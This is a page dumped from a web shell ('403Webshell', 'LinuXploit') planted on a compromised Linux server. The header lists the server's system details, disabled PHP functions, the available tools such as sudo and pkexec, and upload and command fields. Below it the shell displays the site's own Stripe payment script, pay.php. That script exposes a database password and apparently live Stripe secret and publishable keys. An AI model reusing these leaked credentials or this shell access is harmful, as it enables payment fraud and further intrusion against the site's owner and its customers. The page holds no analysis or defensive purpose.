403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/data/wwwroot/2025_04_20_01/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/data/wwwroot/2025_04_20_01/pay.php
<?php
// pay.php - 产品支付页面
// 需要安装 Stripe PHP SDK: composer require stripe/stripe-php

require_once __DIR__ . '/vendor/autoload.php';

// 获取语言设置 - 优先从URL参数,其次从cookie,最后自动检测浏览器语言
function detectLanguage() {
    // 强制返回日语,不考虑其他因素
    return 'ja';
}

$lang = detectLanguage();
setcookie('payment_lang', $lang, time() + 86400 * 30, '/');

// 多语言翻译
$translations = [
    'cn' => [
        'select_lang' => '选择语言',
        'title' => '支付 - ',
        'price_label' => '价格:',
        'pay_btn' => '立即支付',
        'pay_notice' => '点击支付按钮将跳转到安全的Stripe支付页面',
        'order_success' => '支付成功!',
        'order_code' => '订单号:',
        'product' => '产品:',
        'amount' => '金额:',
        'back_home' => '返回首页',
        'pay_incomplete' => '支付未完成,请重试。',
        'retry_pay' => '重新支付',
        'pay_cancelled' => '支付已取消',
    ],
    'en' => [
        'select_lang' => 'Select Language',
        'title' => 'Payment - ',
        'price_label' => 'Price: ',
        'pay_btn' => 'Pay Now',
        'pay_notice' => 'Click the pay button to redirect to the secure Stripe payment page',
        'order_success' => 'Payment Successful!',
        'order_code' => 'Order Number: ',
        'product' => 'Product: ',
        'amount' => 'Amount: ',
        'back_home' => 'Back to Home',
        'pay_incomplete' => 'Payment incomplete, please try again.',
        'retry_pay' => 'Retry Payment',
        'pay_cancelled' => 'Payment Cancelled',
    ],
    'ja' => [
        'title' => '決済 - ',
        'price_label' => '価格:',
        'pay_btn' => '今すぐ支払う',
        'pay_notice' => '支払いボタンをクリックすると、安全なStripe決済画面に遷移します',
        'order_success' => '決済完了!',
        'order_code' => '注文番号:',
        'product' => '商品:',
        'amount' => '金額:',
        'back_home' => 'ホームに戻る',
        'pay_incomplete' => '決済が完了していません。もう一度お試しください。',
        'retry_pay' => '再試行',
        'pay_cancelled' => '決済がキャンセルされました',
    ],
    'fr' => [
        'title' => 'Paiement - ',
        'price_label' => 'Prix : ',
        'pay_btn' => 'Payer maintenant',
        'pay_notice' => 'Cliquez sur le bouton payer pour accéder à la page de paiement sécurisée Stripe',
        'order_success' => 'Paiement réussi !',
        'order_code' => 'Numéro de commande : ',
        'product' => 'Produit : ',
        'amount' => 'Montant : ',
        'back_home' => 'Retour à l\'accueil',
        'pay_incomplete' => 'Paiement incomplet, veuillez réessayer.',
        'retry_pay' => 'Réessayer le paiement',
        'pay_cancelled' => 'Paiement annulé',
    ]
];

$t = isset($translations[$lang]) ? $translations[$lang] : $translations['cn'];

$db_config = [
    'host' => '127.0.0.1',
    'dbname' => '2025_04_20_01',
    'username' => '2025_04_20_01',
    'password' => 'eX3Q3bjNbhcQtGz7',
    'charset' => 'utf8'
];

// 创建数据库连接
try {
    $pdo = new PDO(
        "mysql:host={$db_config['host']};dbname={$db_config['dbname']};charset={$db_config['charset']}",
        $db_config['username'],
        $db_config['password'],
        [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
    );
} catch (PDOException $e) {
    die('数据库连接失败:' . $e->getMessage());
}

// TODO: 替换为你的 Stripe 密钥
$stripeSecretKey = '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'; // 你的 Stripe Secret Key
$stripePublishableKey = 'pk_live_51Rmxo62KO4odpwMbMCCWrsx7mEg9e4ZAmrAbHEYFntsQXvRyR3N5n8BfCKptFrcqNkd8JWsVuJx3YcdOjGg5oPew007SELX1oJ'; // 你的 Stripe Publishable Key

// 获取产品ID
$aid = isset($_GET['aid']) ? intval($_GET['aid']) : 0;
if (!$aid) {
    die('参数错误');
}

// 查询产品信息
try {
    $stmt = $pdo->prepare("SELECT aid, title, users_price FROM ey_archives WHERE aid = ?");
    $stmt->execute([$aid]);
    $product = $stmt->fetch(PDO::FETCH_ASSOC);
    
    if (!$product) {
        die('产品不存在');
    }
} catch (PDOException $e) {
    die('查询产品失败:' . $e->getMessage());
}

// Stripe 支付逻辑 - 创建 Checkout Session
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    try {
        \Stripe\Stripe::setApiKey($stripeSecretKey);
        
        // 构建当前页面的完整 URL
        $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
        $host = $_SERVER['HTTP_HOST'];
        $script_name = $_SERVER['SCRIPT_NAME'];
        $base_url = $protocol . '://' . $host . $script_name;
        
        // 检查最低支付金额(Stripe对日元要求最低50日元)
        // 货币设置
        $currency = 'jpy'; // 当前使用的货币:日元
        
        // Stripe实际最低要求
        $min_amounts = [
            'cny' => 2.20, // 人民币最低约2.2元
            'usd' => 0.50, // 美元最低0.50美元
            'eur' => 0.50, // 欧元最低0.50欧元
            'jpy' => 50.00, // 日元最低50日元(Stripe硬性要求)
            'gbp' => 0.30  // 英镑最低0.30英镑
        ];
        
        // 获取当前货币的最低金额
        $min_amount = isset($min_amounts[$currency]) ? $min_amounts[$currency] : 0.50;
        
        // 设置货币符号
        $currency_symbol = ($currency === 'jpy') ? '¥' : '¥';
        
        if ($product['users_price'] < $min_amount) {
            throw new Exception("支付金额不能低于{$currency_symbol}{$min_amount},当前金额:{$currency_symbol}{$product['users_price']}");
        }
        
        // 使用不同的方式创建Stripe Checkout Session
        // 避免可能的命名空间问题
        $stripe = new \Stripe\StripeClient($stripeSecretKey);
        
        // 计算金额:日元是整数,不需要乘以100;其他货币需要转换为分
        $unit_amount = ($currency === 'jpy') ? intval($product['users_price']) : intval($product['users_price'] * 100);
        
        $session = $stripe->checkout->sessions->create([
            'line_items' => [[
                'price_data' => [
                    'currency' => $currency, // 使用前面定义的货币变量
                    'product_data' => [
                        'name' => $product['title'],
                    ],
                    'unit_amount' => $unit_amount,
                ],
                'quantity' => 1,
            ]],
            'mode' => 'payment',
            'success_url' => $base_url . '?aid=' . $aid . '&result=success&session_id={CHECKOUT_SESSION_ID}',
            'cancel_url' => $base_url . '?aid=' . $aid . '&result=cancel',
        ]);
        
        // 重定向到Stripe Checkout页面
        header("HTTP/1.1 303 See Other");
        header("Location: " . $session->url);
        exit;
        
    } catch (Exception $e) {
        http_response_code(500);
        echo json_encode(['error' => $e->getMessage()], JSON_UNESCAPED_UNICODE);
        exit;
    }
}

// 支付成功后记录订单(暂时隐藏)
if (isset($_GET['result']) && $_GET['result'] === 'success' && !empty($_GET['session_id'])) {
    $session_id = $_GET['session_id'];
    try {
        \Stripe\Stripe::setApiKey($stripeSecretKey);
        $session = \Stripe\Checkout\Session::retrieve($session_id);
        if ($session && $session->payment_status === 'paid') {
            // 订单记录功能暂时隐藏,如需启用请取消注释以下代码
            /*
            // 开始事务
            $pdo->beginTransaction();
            
            try {
                // 生成订单号
                $order_code = 'STRIPE' . date('YmdHis') . rand(1000,9999);
                $current_time = time();
                
                // 插入订单主表
                $stmt = $pdo->prepare("INSERT INTO ey_shop_order (order_code, users_id, order_status, payment_method, pay_time, pay_name, order_amount, order_total_amount, order_total_num, add_time, update_time) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
                $stmt->execute([
                    $order_code,
                    0, // users_id,暂时设为0
                    1, // order_status,已支付
                    1, // payment_method,Stripe支付
                    $current_time, // pay_time
                    'stripe', // pay_name
                    $product['users_price'], // order_amount
                    $product['users_price'], // order_total_amount
                    1, // order_total_num
                    $current_time, // add_time
                    $current_time  // update_time
                ]);
                
                $order_id = $pdo->lastInsertId();
                
                // 插入订单详情表
                $stmt = $pdo->prepare("INSERT INTO ey_shop_order_details (order_id, users_id, product_id, product_name, num, product_price, add_time) VALUES (?, ?, ?, ?, ?, ?, ?)");
                $stmt->execute([
                    $order_id,
                    0, // users_id,暂时设为0
                    $product['aid'], // product_id
                    $product['title'], // product_name
                    1, // num
                    $product['users_price'], // product_price
                    $current_time // add_time
                ]);
                
                // 提交事务
                $pdo->commit();
                
            } catch (Exception $e) {
                // 回滚事务
                $pdo->rollBack();
                throw $e;
            }
            */
            
            echo '<h2>' . $t['order_success'] . '</h2>';
            echo '<p>' . $t['order_code'] . $session_id . '</p>';
            echo '<p>' . $t['product'] . htmlspecialchars($product['title']) . '</p>';
            echo '<p>' . $t['amount'] . '¥' . htmlspecialchars($product['users_price']) . '</p>';
            echo '<p><a href="/">' . $t['back_home'] . '</a></p>';
        } else {
            echo '<h2>' . $t['pay_incomplete'] . '</h2>';
            echo '<p><a href="?aid=' . $aid . '">' . $t['retry_pay'] . '</a></p>';
        }
    } catch (Exception $e) {
        echo '<h2>支付验证失败:' . $e->getMessage() . '</h2>';
        echo '<p><a href="?aid=' . $aid . '">重新支付</a></p>';
    }
    exit;
}

// 支付取消
if (isset($_GET['result']) && $_GET['result'] === 'cancel') {
    echo '<h2>' . $t['pay_cancelled'] . '</h2>';
    echo '<p><a href="?aid=' . $aid . '">' . $t['retry_pay'] . '</a></p>';
    echo '<p><a href="/">' . $t['back_home'] . '</a></p>';
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title><?php echo $t['title'] . htmlspecialchars($product['title']); ?></title>
    <style>
        body { 
            font-family: Arial, sans-serif; 
            margin: 20px; 
            background-color: #f8f9fa;
        }
        .container {
            max-width: 600px;
            margin: 0 auto;
            background: white;
            padding: 30px;
            border-radius: 10px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        .product-info { 
            background: #f8f9fa; 
            padding: 20px; 
            border-radius: 8px; 
            margin-bottom: 20px; 
            border-left: 4px solid #007bff;
        }
        .price { 
            font-size: 24px; 
            color: #e74c3c; 
            font-weight: bold; 
            margin: 10px 0;
        }
        .checkout-btn {
            background: #007bff;
            color: white;
            border: none;
            padding: 15px 30px;
            font-size: 18px;
            border-radius: 5px;
            cursor: pointer;
            width: 100%;
            transition: background-color 0.3s;
        }
        .checkout-btn:hover {
            background: #0056b3;
        }
        .product-title {
            font-size: 20px;
            font-weight: bold;
            margin-bottom: 10px;
        }
    </style>
</head>
<body>
<div class="container">
    <div class="product-info">
        <div class="product-title"><?php echo htmlspecialchars($product['title']); ?></div>
        <div class="price"><?php echo $t['price_label']; ?>¥<?php echo htmlspecialchars($product['users_price']); ?></div>
    </div>
    
    <form method="POST">
        <button type="submit" class="checkout-btn"><?php echo $t['pay_btn']; ?></button>
    </form>
    
    <p style="text-align: center; margin-top: 20px; color: #666;">
        <small><?php echo $t['pay_notice']; ?></small>
    </p>
</div>
</body>
</html> 

Youez - 2016 - github.com/yon3zu
LinuXploit